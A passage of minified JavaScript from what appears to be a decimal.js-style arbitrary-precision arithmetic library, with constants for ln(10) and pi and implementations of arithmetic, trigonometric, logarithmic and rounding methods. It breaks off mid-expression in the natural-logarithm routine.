i,r,s="0123456789abcdef",o="2.3025850929940456840179914546843642076011014886287729760333279009675726096773524802359972050895982983419677840422862486334095254650828067566662873690987816894829072083255546808437998948262331985283935053089653777326288461633662222876982198867465436674744042432743651550489343149393914796194044002221051017141748003688084012647080685567743216228355220114804663715659121373450747856947683463616792101806445070648000277502684916746550586856935673420670581136429224554405758925724208241314695689016758940256776311356919292033376587141660230105703089634572075440370847469940168269282808481184289314848524948644871927809676271275775397027668605952496716674183485704422507197965004714951050492214776567636938662976979522110718264549734772662425709429322582798502585509785265383207606726317164309505995087807523710333101197857547331541421808427543863591778117054309827482385045648019095610299291824318237525357709750539565187697510374970888692180205189339507238539205144634197265287286965110862571492198849978748873771345686209167058",u="3.1415926535897932384626433832795028841971693993751058209749445923078164062862089986280348253421170679821480865132823066470938446095505822317253594081284811174502841027019385211055596446229489549303819644288109756659334461284756482337867831652712019091456485669234603486104543266482133936072602491412737245870066063155881748815209209628292540917153643678925903600113305305488204665213841469519415116094330572703657595919530921861173819326117931051185480744623799627495673518857527248912279381830119491298336733624406566430860213949463952247371907021798609437027705392171762931767523846748184676694051320005681271452635608277857713427577896091736371787214684409012249534301465495853710507922796892589235420199561121290219608640344181598136297747713099605187072113499999983729780499510597317328160963185950244594553469083026425223082533446850352619311881710100031378387528865875332083814206171776691473035982534904287554687311595628638823537875937519577818577805321712268066130019278766111959092164201989380952572010654858632789",c={precision:20,rounding:4,modulo:1,toExpNeg:-7,toExpPos:21,minE:-9e15,maxE:9e15,crypto:!1},h=!0,a="[DecimalError] ",f=a+"Invalid argument: ",l=a+"Precision limit exceeded",d=a+"crypto unavailable",p="[object Decimal]",g=Math.floor,m=Math.pow,w=/^0b([01]+(\.[01]*)?|\.[01]+)(p[+-]?\d+)?$/i,v=/^0x([0-9a-f]+(\.[0-9a-f]*)?|\.[0-9a-f]+)(p[+-]?\d+)?$/i,N=/^0o([0-7]+(\.[0-7]*)?|\.[0-7]+)(p[+-]?\d+)?$/i,b=/^(\d+(\.\d*)?|\.\d+)(e[+-]?\d+)?$/i,y=o.length-1,x=u.length-1,E={toStringTag:p};function O(n){var t,e,i,r=n.length-1,s="",o=n[0];if(r>0){for(s+=o,t=1;t<r;t++)(e=7-(i=n[t]+"").length)&&(s+=k(e)),s+=i;(e=7-(i=(o=n[t])+"").length)&&(s+=k(e))}else if(0===o)return"0";for(;o%10==0;)o/=10;return s+o}function M(n,t,e){if(n!==~~n||n<t||n>e)throw Error(f+n)}function P(n,t,e,i){var r,s,o,u;for(s=n[0];s>=10;s/=10)--t;return--t<0?(t+=7,r=0):(r=Math.ceil((t+1)/7),t%=7),s=m(10,7-t),u=n[r]%s|0,null==i?t<3?(0==t?u=u/100|0:1==t&&(u=u/10|0),o=e<4&&99999==u||e>3&&49999==u||5e4==u||0==u):o=(e<4&&u+1==s||e>3&&u+1==s/2)&&(n[r+1]/s/100|0)==m(10,t-2)-1||(u==s/2||0==u)&&(n[r+1]/s/100|0)==0:t<4?(0==t?u=u/1e3|0:1==t?u=u/100|0:2==t&&(u=u/10|0),o=(i||e<4)&&9999==u||!i&&e>3&&4999==u):o=((i||e<4)&&u+1==s||!i&&e>3&&u+1==s/2)&&(n[r+1]/s/1e3|0)==m(10,t-3)-1,o}function S(n,t,e){for(var i,r,o=[0],u=0,c=n.length;u<c;){for(r=o.length;r--;)o[r]*=t;for(o[0]+=s.indexOf(n.charAt(u++)),i=0;i<o.length;i++)o[i]>e-1&&(void 0===o[i+1]&&(o[i+1]=0),o[i+1]+=o[i]/e|0,o[i]%=e)}return o.reverse()}E.absoluteValue=E.abs=function(){var n=new this.constructor(this);return n.s<0&&(n.s=1),D(n)},E.ceil=function(){return D(new this.constructor(this),this.e+1,2)},E.clampedTo=E.clamp=function(n,t){var e=this.constructor;if(n=new e(n),t=new e(t),!n.s||!t.s)return new e(NaN);if(n.gt(t))throw Error(f+t);return 0>this.cmp(n)?n:this.cmp(t)>0?t:new e(this)},E.comparedTo=E.cmp=function(n){var t,e,i,r,s=this.d,o=(n=new this.constructor(n)).d,u=this.s,c=n.s;if(!s||!o)return u&&c?u!==c?u:s===o?0:!s^u<0?1:-1:NaN;if(!s[0]||!o[0])return s[0]?u:o[0]?-c:0;if(u!==c)return u;if(this.e!==n.e)return this.e>n.e^u<0?1:-1;for(t=0,e=(i=s.length)<(r=o.length)?i:r;t<e;++t)if(s[t]!==o[t])return s[t]>o[t]^u<0?1:-1;return i===r?0:i>r^u<0?1:-1},E.cosine=E.cos=function(){var n,t,e=this,i=e.constructor;return e.d?e.d[0]?(n=i.precision,t=i.rounding,i.precision=n+Math.max(e.e,e.sd())+7,i.rounding=1,e=function(n,t){var e,i,r;if(t.isZero())return t;(i=t.d.length)<32?r=(1/B(4,e=Math.ceil(i/3))).toString():(e=16,r="2.3283064365386962890625e-10"),n.precision+=e,t=$(n,1,t.times(r),new n(1));for(var s=e;s--;){var o=t.times(t);t=o.times(o).minus(o).times(8).plus(1)}return n.precision-=e,t}(i,W(i,e)),i.precision=n,i.rounding=t,D(2==r||3==r?e.neg():e,n,t,!0)):new i(1):new i(NaN)},E.cubeRoot=E.cbrt=function(){var n,t,e,i,r,s,o,u,c,a,f=this.constructor;if(!this.isFinite()||this.isZero())return new f(this);for(h=!1,(s=this.s*m(this.s*this,1/3))&&Math.abs(s)!=1/0?i=new f(s.toString()):(e=O(this.d),(s=((n=this.e)-e.length+1)%3)&&(e+=1==s||-2==s?"0":"00"),s=m(e,1/3),n=g((n+1)/3)-(n%3==(n<0?-1:2)),(i=new f(e=s==1/0?"5e"+n:(e=s.toExponential()).slice(0,e.indexOf("e")+1)+n)).s=this.s),o=(n=f.precision)+3;;)if(i=q((a=(c=(u=i).times(u).times(u)).plus(this)).plus(this).times(u),a.plus(c),o+2,1),O(u.d).slice(0,o)===(e=O(i.d)).slice(0,o)){if("9999"!=(e=e.slice(o-3,o+1))&&(r||"4999"!=e)){+e&&(+e.slice(1)||"5"!=e.charAt(0))||(D(i,n+1,1),t=!i.times(i).times(i).eq(this));break}if(!r&&(D(u,n+1,0),u.times(u).times(u).eq(this))){i=u;break}o+=4,r=1}return h=!0,D(i,n,f.rounding,t)},E.decimalPlaces=E.dp=function(){var n,t=this.d,e=NaN;if(t){if(e=((n=t.length-1)-g(this.e/7))*7,n=t[n])for(;n%10==0;n/=10)e--;e<0&&(e=0)}return e},E.dividedBy=E.div=function(n){return q(this,new this.constructor(n))},E.dividedToIntegerBy=E.divToInt=function(n){var t=this.constructor;return D(q(this,new t(n),0,1,1),t.precision,t.rounding)},E.equals=E.eq=function(n){return 0===this.cmp(n)},E.floor=function(){return D(new this.constructor(this),this.e+1,3)},E.greaterThan=E.gt=function(n){return this.cmp(n)>0},E.greaterThanOrEqualTo=E.gte=function(n){var t=this.cmp(n);return 1==t||0===t},E.hyperbolicCosine=E.cosh=function(){var n,t,e,i,r,s=this,o=s.constructor,u=new o(1);if(!s.isFinite())return new o(s.s?1/0:NaN);if(s.isZero())return u;e=o.precision,i=o.rounding,o.precision=e+Math.max(s.e,s.sd())+4,o.rounding=1,(r=s.d.length)<32?t=(1/B(4,n=Math.ceil(r/3))).toString():(n=16,t="2.3283064365386962890625e-10"),s=$(o,1,s.times(t),new o(1),!0);for(var c,h=n,a=new o(8);h--;)c=s.times(s),s=u.minus(c.times(a.minus(c.times(a))));return D(s,o.precision=e,o.rounding=i,!0)},E.hyperbolicSine=E.sinh=function(){var n,t,e,i,r=this,s=r.constructor;if(!r.isFinite()||r.isZero())return new s(r);if(t=s.precision,e=s.rounding,s.precision=t+Math.max(r.e,r.sd())+4,s.rounding=1,(i=r.d.length)<3)r=$(s,2,r,r,!0);else{n=(n=1.4*Math.sqrt(i))>16?16:0|n,r=$(s,2,r=r.times(1/B(5,n)),r,!0);for(var o,u=new s(5),c=new s(16),h=new s(20);n--;)o=r.times(r),r=r.times(u.plus(o.times(c.times(o).plus(h))))}return s.precision=t,s.rounding=e,D(r,t,e,!0)},E.hyperbolicTangent=E.tanh=function(){var n,t,e=this.constructor;return this.isFinite()?this.isZero()?new e(this):(n=e.precision,t=e.rounding,e.precision=n+7,e.rounding=1,q(this.sinh(),this.cosh(),e.precision=n,e.rounding=t)):new e(this.s)},E.inverseCosine=E.acos=function(){var n=this,t=n.constructor,e=n.abs().cmp(1),i=t.precision,r=t.rounding;return -1!==e?0===e?n.isNeg()?A(t,i,r):new t(0):new t(NaN):n.isZero()?A(t,i+4,r).times(.5):(t.precision=i+6,t.rounding=1,n=new t(1).minus(n).div(n.plus(1)).sqrt().atan(),t.precision=i,t.rounding=r,n.times(2))},E.inverseHyperbolicCosine=E.acosh=function(){var n,t,e=this,i=e.constructor;return e.lte(1)?new i(e.eq(1)?0:NaN):e.isFinite()?(n=i.precision,t=i.rounding,i.precision=n+Math.max(Math.abs(e.e),e.sd())+4,i.rounding=1,h=!1,e=e.times(e).minus(1).sqrt().plus(e),h=!0,i.precision=n,i.rounding=t,e.ln()):new i(e)},E.inverseHyperbolicSine=E.asinh=function(){var n,t,e=this,i=e.constructor;return!e.isFinite()||e.isZero()?new i(e):(n=i.precision,t=i.rounding,i.precision=n+2*Math.max(Math.abs(e.e),e.sd())+6,i.rounding=1,h=!1,e=e.times(e).plus(1).sqrt().plus(e),h=!0,i.precision=n,i.rounding=t,e.ln())},E.inverseHyperbolicTangent=E.atanh=function(){var n,t,e,i,r=this,s=r.constructor;return r.isFinite()?r.e>=0?new s(r.abs().eq(1)?r.s/0:r.isZero()?r:NaN):(n=s.precision,t=s.rounding,Math.max(i=r.sd(),n)<-(2*r.e)-1)?D(new s(r),n,t,!0):(s.precision=e=i-r.e,r=q(r.plus(1),new s(1).minus(r),e+n,1),s.precision=n+4,s.rounding=1,r=r.ln(),s.precision=n,s.rounding=t,r.times(.5)):new s(NaN)},E.inverseSine=E.asin=function(){var n,t,e,i,r=this,s=r.constructor;return r.isZero()?new s(r):(t=r.abs().cmp(1),e=s.precision,i=s.rounding,-1!==t)?0===t?((n=A(s,e+4,i).times(.5)).s=r.s,n):new s(NaN):(s.precision=e+6,s.rounding=1,r=r.div(new s(1).minus(r.times(r)).sqrt().plus(1)).atan(),s.precision=e,s.rounding=i,r.times(2))},E.inverseTangent=E.atan=function(){var n,t,e,i,r,s,o,u,c,a=this,f=a.constructor,l=f.precision,d=f.rounding;if(a.isFinite()){if(a.isZero())return new f(a);else if(a.abs().eq(1)&&l+4<=x)return(o=A(f,l+4,d).times(.25)).s=a.s,o}else{if(!a.s)return new f(NaN);if(l+4<=x)return(o=A(f,l+4,d).times(.5)).s=a.s,o}for(f.precision=u=l+10,f.rounding=1,n=e=Math.min(28,u/7+2|0);n;--n)a=a.div(a.times(a).plus(1).sqrt().plus(1));for(h=!1,t=Math.ceil(u/7),i=1,c=a.times(a),o=new f(a),r=a;-1!==n;)if(r=r.times(c),s=o.minus(r.div(i+=2)),r=r.times(c),void 0!==(o=s.plus(r.div(i+=2))).d[t])for(n=t;o.d[n]===s.d[n]&&n--;);return e&&(o=o.times(2<<e-1)),h=!0,D(o,f.precision=l,f.rounding=d,!0)},E.isFinite=function(){return!!this.d},E.isInteger=E.isInt=function(){return!!this.d&&g(this.e/7)>this.d.length-2},E.isNaN=function(){return!this.s},E.isNegative=E.isNeg=function(){return this.s<0},E.isPositive=E.isPos=function(){return this.s>0},E.isZero=function(){return!!this.d&&0===this.d[0]},E.lessThan=E.lt=function(n){return 0>this.cmp(n)},E.lessThanOrEqualTo=E.lte=function(n){return 1>this.cmp(n)},E.logarithm=E.log=function(n){var t,e,i,r,s,o,u,c=this.constructor,a=c.precision,f=c.rounding;if(null==n)n=new c(10),t=!0;else{if(e=(n=new c(n)).d,n.s<0||!e||!e[0]||n.eq(1))return new c(NaN);t=n.eq(10)}if(e=this.d,this.s<0||!e||!e[0]||this.eq(1))return new c(e&&!e[0]?-1/0:1!=this.s?NaN:e?0:1/0);if(t)if(e.length>1)r=!0;else{for(i=e[0];i%10==0;)i/=10;r=1!==i}if(h=!1,P((u=q(s=H(this,o=a+5),t?R(c,o+10):H(n,o),o,1)).d,i=a,f))do if(o+=10,u=q(s=H(this,o),t?R(c,o+10):H(n,o),o,1),!r){+O(u.d).slice(i+1,i+15)+1==1e14&&(u=D(u,a+1,0));break}while(P(u.d,i+=10,f));return h=!0,D(u,a,f)},E.minus=E.sub=function(n){var t,e,i,r,s,o,u,c,a,f,l,d,p=this.constructor;if(n=new p(n),!this.d||!n.d)return this.s&&n.s?this.d?n.s=-n.s:n=new p(n.d||this.s!==n.s?this:NaN):n=new p(NaN),n;if(this.s!=n.s)return n.s=-n.s,this.plus(n);if(a=this.d,d=n.d,u=p.precision,c=p.rounding,!a[0]||!d[0]){if(d[0])n.s=-n.s;else{if(!a[0])return new p(3===c?-0:0);n=new p(this)}return h?D(n,u,c):n}if(e=g(n.e/7),f=g(this.e/7),a=a.slice(),s=f-e){for((l=s<0)?(t=a,s=-s,o=d.length):(t=d,e=f,o=a.length),s>(i=Math.max(Math.ceil(u/7),o)+2)&&(s=i,t.length=1),t.reverse(),i=s;i--;)t.push(0);t.reverse()}else{for((l=(i=a.length)<(o=d.length))&&(o=i),i=0;i<o;i++)if(a[i]!=d[i]){l=a[i]<d[i];break}s=0}for(l&&(t=a,a=d,d=t,n.s=-n.s),o=a.length,i=d.length-o;i>0;--i)a[o++]=0;for(i=d.length;i>s;){if(a[--i]<d[i]){for(r=i;r&&0===a[--r];)a[r]=1e7-1;--a[r],a[i]+=1e7}a[i]-=d[i]}for(;0===a[--o];)a.pop();for(;0===a[0];a.shift())--e;return a[0]?(n.d=a,n.e=F(a,e),h?D(n,u,c):n):new p(3===c?-0:0)},E.modulo=E.mod=function(n){var t,e=this.constructor;return(n=new e(n),this.d&&n.s&&(!n.d||n.d[0]))?n.d&&(!this.d||this.d[0])?(h=!1,9==e.modulo?(t=q(this,n.abs(),0,3,1),t.s*=n.s):t=q(this,n,0,e.modulo,1),t=t.times(n),h=!0,this.minus(t)):D(new e(this),e.precision,e.rounding):new e(NaN)},E.naturalExponential=E.exp=function(){return U(this)},E.naturalLogarithm=E.ln=function(){return H(this)},E.negated=E.neg=function(){var n=new this.constructor(this);return n.s=-n.s,D(n)},E.plus=E.add=function(n){var t,e,i,r,s,o,u,c,a,f,l=this.constructor;if(n=new l(n),!this.d||!n.d)return this.s&&n.s?this.d||(n=new l(n.d||this.s===n.s?this:NaN)):n=new l(NaN),n;if(this.s!=n.s)return n.s=-n.s,this.minus(n);if(a=this.d,f=n.d,u=l.precision,c=l.rounding,!a[0]||!f[0])return f[0]||(n=new l(this)),h?D(n,u,c):n;if(s=g(this.e/7),i=g(n.e/7),a=a.slice(),r=s-i){for(r<0?(e=a,r=-r,o=f.length):(e=f,i=s,o=a.length),r>(o=(s=Math.ceil(u/7))>o?s+1:o+1)&&(r=o,e.length=1),e.reverse();r--;)e.push(0);e.reverse()}for((o=a.length)-(r=f.length)<0&&(r=o,e=f,f=a,a=e),t=0;r;)t=(a[--r]=a[r]+f[r]+t)/1e7|0,a[r]%=1e7;for(t&&(a.unshift(t),++i),o=a.length;0==a[--o];)a.pop();return n.d=a,n.e=F(a,i),h?D(n,u,c):n},E.precision=E.sd=function(n){var t;if(void 0!==n&&!!n!==n&&1!==n&&0!==n)throw Error(f+n);return this.d?(t=Z(this.d),n&&this.e+1>t&&(t=this.e+1)):t=NaN,t},E.round=function(){var n=this.constructor;return D(new n(this),this.e+1,n.rounding)},E.sine=E.sin=function(){var n,t,e=this,i=e.constructor;return e.isFinite()?e.isZero()?new i(e):(n=i.precision,t=i.rounding,i.precision=n+Math.max(e.e,e.sd())+7,i.rounding=1,e=function(n,t){var e,i=t.d.length;if(i<3)return t.isZero()?t:$(n,2,t,t);e=(e=1.4*Math.sqrt(i))>16?16:0|e,t=$(n,2,t=t.times(1/B(5,e)),t);for(var r,s=new n(5),o=new n(16),u=new n(20);e--;)r=t.times(t),t=t.times(s.plus(r.times(o.times(r).minus(u))));return t}(i,W(i,e)),i.precision=n,i.rounding=t,D(r>2?e.neg():e,n,t,!0)):new i(NaN)},E.squareRoot=E.sqrt=function(){var n,t,e,i,r,s,o=this.d,u=this.e,c=this.s,a=this.constructor;if(1!==c||!o||!o[0])return new a(!c||c<0&&(!o||o[0])?NaN:o?this:1/0);for(h=!1,0==(c=Math.sqrt(+this))||c==1/0?(((t=O(o)).length+u)%2==0&&(t+="0"),c=Math.sqrt(t),u=g((u+1)/2)-(u<0||u%2),i=new a(t=c==1/0?"5e"+u:(t=c.toExponential()).slice(0,t.indexOf("e")+1)+u)):i=new a(c.toString()),e=(u=a.precision)+3;;)if(i=(s=i).plus(q(this,s,e+2,1)).times(.5),O(s.d).slice(0,e)===(t=O(i.d)).slice(0,e)){if("9999"!=(t=t.slice(e-3,e+1))&&(r||"4999"!=t)){+t&&(+t.slice(1)||"5"!=t.charAt(0))||(D(i,u+1,1),n=!i.times(i).eq(this));break}if(!r&&(D(s,u+1,0),s.times(s).eq(this))){i=s;break}e+=4,r=1}return h=!0,D(i,u,a.rounding,n)},E.tangent=E.tan=function(){var n,t,e=this,i=e.constructor;return e.isFinite()?e.isZero()?new i(e):(n=i.precision,t=i.rounding,i.precision=n+10,i.rounding=1,(e=e.sin()).s=1,e=q(e,new i(1).minus(e.times(e)).sqrt(),n+10,0),i.precision=n,i.rounding=t,D(2==r||4==r?e.neg():e,n,t,!0)):new i(NaN)},E.times=E.mul=function(n){var t,e,i,r,s,o,u,c,a,f=this.constructor,l=this.d,d=(n=new f(n)).d;if(n.s*=this.s,!l||!l[0]||!d||!d[0])return new f(!n.s||l&&!l[0]&&!d||d&&!d[0]&&!l?NaN:!l||!d?n.s/0:0*n.s);for(e=g(this.e/7)+g(n.e/7),(c=l.length)<(a=d.length)&&(s=l,l=d,d=s,o=c,c=a,a=o),s=[],i=o=c+a;i--;)s.push(0);for(i=a;--i>=0;){for(t=0,r=c+i;r>i;)u=s[r]+d[i]*l[r-i-1]+t,s[r--]=u%1e7|0,t=u/1e7|0;s[r]=(s[r]+t)%1e7|0}for(;!s[--o];)s.pop();return t?++e:s.shift(),n.d=s,n.e=F(s,e),h?D(n,f.precision,f.rounding):n},E.toBinary=function(n,t){return V(this,2,n,t)},E.toDecimalPlaces=E.toDP=function(n,t){var e=this,i=e.constructor;return(e=new i(e),void 0===n)?e:(M(n,0,1e9),void 0===t?t=i.rounding:M(t,0,8),D(e,n+e.e+1,t))},E.toExponential=function(n,t){var e,i=this,r=i.constructor;return void 0===n?e=j(i,!0):(M(n,0,1e9),void 0===t?t=r.rounding:M(t,0,8),e=j(i=D(new r(i),n+1,t),!0,n+1)),i.isNeg()&&!i.isZero()?"-"+e:e},E.toFixed=function(n,t){var e,i,r=this.constructor;return void 0===n?e=j(this):(M(n,0,1e9),void 0===t?t=r.rounding:M(t,0,8),e=j(i=D(new r(this),n+this.e+1,t),!1,n+i.e+1)),this.isNeg()&&!this.isZero()?"-"+e:e},E.toFraction=function(n){var t,e,i,r,s,o,u,c,a,l,d,p,g=this.d,w=this.constructor;if(!g)return new w(this);if(a=e=new w(1),i=c=new w(0),o=(s=(t=new w(i)).e=Z(g)-this.e-1)%7,t.d[0]=m(10,o<0?7+o:o),null==n)n=s>0?t:a;else{if(!(u=new w(n)).isInt()||u.lt(a))throw Error(f+u);n=u.gt(t)?s>0?t:a:u}for(h=!1,u=new w(O(g)),l=w.precision,w.precision=s=7*g.length*2;d=q(u,t,0,1,1),1!=(r=e.plus(d.times(i))).cmp(n);)e=i,i=r,r=a,a=c.plus(d.times(r)),c=r,r=t,t=u.minus(d.times(r)),u=r;return r=q(n.minus(e),i,0,1,1),c=c.plus(r.times(a)),e=e.plus(r.times(i)),c.s=a.s=this.s,p=1>q(a,i,s,1).minus(this).abs().cmp(q(c,e,s,1).minus(this).abs())?[a,i]:[c,e],w.precision=l,h=!0,p},E.toHexadecimal=E.toHex=function(n,t){return V(this,16,n,t)},E.toNearest=function(n,t){var e=this,i=e.constructor;if(e=new i(e),null==n){if(!e.d)return e;n=new i(1),t=i.rounding}else{if(n=new i(n),void 0===t?t=i.rounding:M(t,0,8),!e.d)return n.s?e:n;if(!n.d)return n.s&&(n.s=e.s),n}return n.d[0]?(h=!1,e=q(e,n,0,t,1).times(n),h=!0,D(e)):(n.s=e.s,e=n),e},E.toNumber=function(){return+this},E.toOctal=function(n,t){return V(this,8,n,t)},E.toPower=E.pow=function(n){var t,e,i,r,s,o,u=this,c=u.constructor,a=+(n=new c(n));if(!u.d||!n.d||!u.d[0]||!n.d[0])return new c(m(+u,a));if((u=new c(u)).eq(1))return u;if(i=c.precision,s=c.rounding,n.eq(1))return D(u,i,s);if((t=g(n.e/7))>=n.d.length-1&&(e=a<0?-a:a)<=0x1fffffffffffff)return r=T(c,u,e,i),n.s<0?new c(1).div(r):D(r,i,s);if((o=u.s)<0){if(t<n.d.length-1)return new c(NaN);if((1&n.d[t])==0&&(o=1),0==u.e&&1==u.d[0]&&1==u.d.length)return u.s=o,u}return(t=0!=(e=m(+u,a))&&isFinite(e)?new c(e+"").e:g(a*(Math.log("0."+O(u.d))/Math.LN10+u.e+1)))>c.maxE+1||t<c.minE-1?new c(t>0?o/0:0):(h=!1,c.rounding=u.s=1,e=Math.min(12,(t+"").length),(r=U(n.times(H(u,i+e)),i)).d&&P((r=D(r,i+5,1)).d,i,s)&&(t=i+10,+O((r=D(U(n.times(H(u,t+e)),t),t+5,1)).d).slice(i+1,i+15)+1==1e14&&(r=D(r,i+1,0))),r.s=o,h=!0,c.rounding=s,D(r,i,s))},E.toPrecision=function(n,t){var e,i=this,r=i.constructor;return void 0===n?e=j(i,i.e<=r.toExpNeg||i.e>=r.toExpPos):(M(n,1,1e9),void 0===t?t=r.rounding:M(t,0,8),e=j(i=D(new r(i),n,t),n<=i.e||i.e<=r.toExpNeg,n)),i.isNeg()&&!i.isZero()?"-"+e:e},E.toSignificantDigits=E.toSD=function(n,t){var e=this.constructor;return void 0===n?(n=e.precision,t=e.rounding):(M(n,1,1e9),void 0===t?t=e.rounding:M(t,0,8)),D(new e(this),n,t)},E.toString=function(){var n=this.constructor,t=j(this,this.e<=n.toExpNeg||this.e>=n.toExpPos);return this.isNeg()&&!this.isZero()?"-"+t:t},E.truncated=E.trunc=function(){return D(new this.constructor(this),this.e+1,1)},E.valueOf=E.toJSON=function(){var n=this.constructor,t=j(this,this.e<=n.toExpNeg||this.e>=n.toExpPos);return this.isNeg()?"-"+t:t};var q=function(){function n(n,t,e){var i,r=0,s=n.length;for(n=n.slice();s--;)i=n[s]*t+r,n[s]=i%e|0,r=i/e|0;return r&&n.unshift(r),n}function t(n,t,e,i){var r,s;if(e!=i)s=e>i?1:-1;else for(r=s=0;r<e;r++)if(n[r]!=t[r]){s=n[r]>t[r]?1:-1;break}return s}function e(n,t,e,i){for(var r=0;e--;)n[e]-=r,r=+(n[e]<t[e]),n[e]=r*i+n[e]-t[e];for(;!n[0]&&n.length>1;)n.shift()}return function(r,s,o,u,c,h){var a,f,l,d,p,m,w,v,N,b,y,x,E,O,M,P,S,q,j,F,R=r.constructor,A=r.s==s.s?1:-1,Z=r.d,k=s.d;if(!Z||!Z[0]||!k||!k[0])return new R(!r.s||!s.s||(Z?k&&Z[0]==k[0]:!k)?NaN:Z&&0==Z[0]||!k?0*A:A/0);for(h?(p=1,f=r.e-s.e):(h=1e7,p=7,f=g(r.e/p)-g(s.e/p)),j=k.length,S=Z.length,b=(N=new R(A)).d=[],l=0;k[l]==(Z[l]||0);l++);if(k[l]>(Z[l]||0)&&f--,null==o?(O=o=R.precision,u=R.rounding):O=c?o+(r.e-s.e)+1:o,O<0)b.push(1),m=!0;else{if(O=O/p+2|0,l=0,1==j){for(d=0,k=k[0],O++;(l<S||d)&&O--;l++)M=d*h+(Z[l]||0),b[l]=M/k|0,d=M%k|0;m=d||l<S}else{for((d=h/(k[0]+1)|0)>1&&(k=n(k,d,h),Z=n(Z,d,h),j=k.length,S=Z.length),P=j,x=(y=Z.slice(0,j)).length;x<j;)y[x++]=0;(F=k.slice()).unshift(0),q=k[0],k[1]>=h/2&&++q;do d=0,(a=t(k,y,j,x))<0?(E=y[0],j!=x&&(E=E*h+(y[1]||0)),(d=E/q|0)>1?(d>=h&&(d=h-1),v=(w=n(k,d,h)).length,x=y.length,1==(a=t(w,y,v,x))&&(d--,e(w,j<v?F:k,v,h))):(0==d&&(a=d=1),w=k.slice()),(v=w.length)<x&&w.unshift(0),e(y,w,x,h),-1==a&&(x=y.length,(a=t(k,y,j,x))<1&&(d++,e(y,j<x?F:k,x,h))),x=y.length):0===a&&(d++,y=[0]),b[l++]=d,a&&y[0]?y[x++]=Z[P]||0:(y=[Z[P]],x=1);while((P++<S||void 0!==y[0])&&O--);m=void 0!==y[0]}b[0]||b.shift()}if(1==p)N.e=f,i=m;else{for(l=1,d=b[0];d>=10;d/=10)l++;N.e=l+f*p-1,D(N,c?o+N.e+1:o,u,m)}return N}}();function D(n,t,e,i){var r,s,o,u,c,a,f,l,d,p=n.constructor;n:if(null!=t){if(!(l=n.d))return n;for(r=1,u=l[0];u>=10;u/=10)r++;if((s=t-r)<0)s+=7,o=t,c=(f=l[d=0])/m(10,r-o-1)%10|0;else if((d=Math.ceil((s+1)/7))>=(u=l.length))if(i){for(;u++<=d;)l.push(0);f=c=0,r=1,s%=7,o=s-7+1}else break n;else{for(r=1,f=u=l[d];u>=10;u/=10)r++;s%=7,c=(o=s-7+r)<0?0:f/m(10,r-o-1)%10|0}if(i=i||t<0||void 0!==l[d+1]||(o<0?f:f%m(10,r-o-1)),a=e<4?(c||i)&&(0==e||e==(n.s<0?3:2)):c>5||5==c&&(4==e||i||6==e&&(s>0?o>0?f/m(10,r-o):0:l[d-1])%10&1||e==(n.s<0?8:7)),t<1||!l[0])return l.length=0,a?(t-=n.e+1,l[0]=m(10,(7-t%7)%7),n.e=-t||0):l[0]=n.e=0,n;if(0==s?(l.length=d,u=1,d--):(l.length=d+1,u=m(10,7-s),l[d]=o>0?(f/m(10,r-o)%m(10,o)|0)*u:0),a)for(;;)if(0==d){for(s=1,o=l[0];o>=10;o/=10)s++;for(o=l[0]+=u,u=1;o>=10;o/=10)u++;s!=u&&(n.e++,1e7==l[0]&&(l[0]=1));break}else{if(l[d]+=u,1e7!=l[d])break;l[d--]=0,u=1}for(s=l.length;0===l[--s];)l.pop()}return h&&(n.e>p.maxE?(n.d=null,n.e=NaN):n.e<p.minE&&(n.e=0,n.d=[0])),n}function j(n,t,e){if(!n.isFinite())return L(n);var i,r=n.e,s=O(n.d),o=s.length;return t?(e&&(i=e-o)>0?s=s.charAt(0)+"."+s.slice(1)+k(i):o>1&&(s=s.charAt(0)+"."+s.slice(1)),s=s+(n.e<0?"e":"e+")+n.e):r<0?(s="0."+k(-r-1)+s,e&&(i=e-o)>0&&(s+=k(i))):r>=o?(s+=k(r+1-o),e&&(i=e-r-1)>0&&(s=s+"."+k(i))):((i=r+1)<o&&(s=s.slice(0,i)+"."+s.slice(i)),e&&(i=e-o)>0&&(r+1===o&&(s+="."),s+=k(i))),s}function F(n,t){var e=n[0];for(t*=7;e>=10;e/=10)t++;return t}function R(n,t,e){if(t>y)throw h=!0,e&&(n.precision=e),Error(l);return D(new n(o),t,1,!0)}function A(n,t,e){if(t>x)throw Error(l);return D(new n(u),t,e,!0)}function Z(n){var t=n.length-1,e=7*t+1;if(t=n[t]){for(;t%10==0;t/=10)e--;for(t=n[0];t>=10;t/=10)e++}return e}function k(n){for(var t="";n--;)t+="0";return t}function T(n,t,e,i){var r,s=new n(1),o=Math.ceil(i/7+4);for(h=!1;;){if(e%2&&z((s=s.times(t)).d,o)&&(r=!0),0===(e=g(e/2))){e=s.d.length-1,r&&0===s.d[e]&&++s.d[e];break}z((t=t.times(t)).d,o)}return h=!0,s}function _(n){return 1&n.d[n.d.length-1]}function C(n,t,e){for(var i,r,s=new n(t[0]),o=0;++o<t.length;){if(!(r=new n(t[o])).s){s=r;break}((i=s.cmp(r))===e||0===i&&s.s===e)&&(s=r)}return s}function U(n,t){var e,i,r,s,o,u,c,a=0,f=0,l=0,d=n.constructor,p=d.rounding,g=d.precision;if(!n.d||!n.d[0]||n.e>17)return new d(n.d?!n.d[0]?1:n.s<0?0:1/0:n.s?n.s<0?0:n:0/0);for(null==t?(h=!1,c=g):c=t,u=new d(.03125);n.e>-2;)n=n.times(u),l+=5;for(c+=i=Math.log(m(2,l))/Math.LN10*2+5|0,e=s=o=new d(1),d.precision=c;;){if(s=D(s.times(n),c,1),e=e.times(++f),O((u=o.plus(q(s,e,c,1))).d).slice(0,c)===O(o.d).slice(0,c)){for(r=l;r--;)o=D(o.times(o),c,1);if(null!=t)return d.precision=g,o;if(!(a<3&&P(o.d,c-i,p,a)))return D(o,d.precision=g,p,h=!0);d.precision=c+=10,e=s=u=new d(1),f=0,a++}o=u}}function H(n,t){var e,i,r,s,o,u,c,a,f,l,d,p=1,g=n,m=g.d,w=g.constructor,v=w.rounding,N=w.precision;if(g.s<0||!m||!m[0]||!g.e&&1==m[0]&&1==m.length)return new w(m&&!m[0]?-1/0:1!=g.s?NaN:m?0:g);if(null==t?(h=!1,f=N):f=t,w.precision=f+=10,i=(e=O(m)).charAt(0),!(15e14>Math.abs(s=g.e)))return a=R(w,f+2,N).times(s+""),g=H(new w(i+"."+e.slice(1)),f-10).plus(a),w.precision=N,null==t?D(g,N,v,h=!0):g;for(;i<7&&1!=i||1==i&&e.charAt(1)>3;)i=(e=O((g=g.times(n)).d)).charAt(0),p++;for(s=g.e,i>1?(g=new w("0."+e),s++):g=new 